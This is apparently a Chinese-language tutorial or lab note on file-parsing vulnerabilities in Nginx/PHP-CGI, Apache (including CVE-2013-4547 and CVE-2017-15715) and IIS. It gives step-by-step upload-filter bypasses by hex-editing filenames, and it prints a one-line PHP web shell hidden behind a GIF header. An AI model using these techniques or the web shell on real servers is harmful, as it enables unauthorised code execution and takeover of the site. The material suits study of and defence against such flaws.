Nginx解析漏洞
nginx_parsing
这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置⽂件中有⼀个关键的选项cgi.fix_pathinfo默认是开 启的,当URL中有不存在的文件,PHP就会向前递归解析。在⼀个⽂件/xx.jpg后⾯加上/.php会将 /x x.jpg/xx.php 解析为 php ⽂件。
使⽤ 1.jpg/.php 绕过:
上传有gif文件头的 有木马的jpg文件
GIF89a
<?php @eval($_POST['cmd']);?>
绕过:
CVE-2013-4547::
此漏洞为⽂件名逻辑漏洞,该漏洞在上传图⽚时,修改其16进制编码可使其绕过策略,导致解析为 php。 当Nginx得到⼀个⽤户请求时,⾸先对url进⾏解析,进⾏正则匹配,如果匹配到以.php后缀结尾 的⽂件名,会将请求的PHP⽂件交给PHP-CGI去解析。
上传文件ccc.jpg->抓包:
->ccc.jpg .php
到hex十六进制 找到我们的两个空格 将第二个空格 20改成00 20->00
放包上传:
访问文件的时候 也要改哟!
成功!
CVE-2017-15715:::
Apache HTTPD是⼀款HTTP服务器,它可以通过mod_php来运⾏PHP⽹⻚。其2.4.0~2.4.29版本中存 在⼀个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进⾏解析,导致绕过⼀些服务器的安全 策略。
尝试上传一句话木马 被拦截
在filename:输入的文件名后⾯添加空格 0x20 在改为 0x0a 再次返送即可上传成功....
20->0a->放包
访问的时候 也要加%0a
apache_parsing
在Apache1.x/2.x中Apache 解析⽂件的规则是从右到左开始判断解析,如果后缀名为不可识别⽂件解析, 就再往左判断。如 1.php.xxxxx
上传0.php.jpg->抓包
IIS6.X
目录解析:
在⽹站下建⽴⽂件夹的名字为 .asp/.asa 的⽂件夹,其⽬录内的任何扩展名的⽂件都被IIS当作asp ⽂件来解析并执⾏。
IIS7.X
在IIS7.0和IIS7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在⼀个⽂件路径/xx.jpg 后⾯加上/xx.php会将 /xx.jpg/xx.php 解析为 php ⽂件。
要将php.ini的配置文件 cgi.fix_pathinfo=1 前面的 :(分号) 删除
IIS->配置网站->处理程序映射->PHPStudy_FastCGI->请求限制->取消勾选
漏洞利用:
访问 192.168.26.129/1.jpg/.php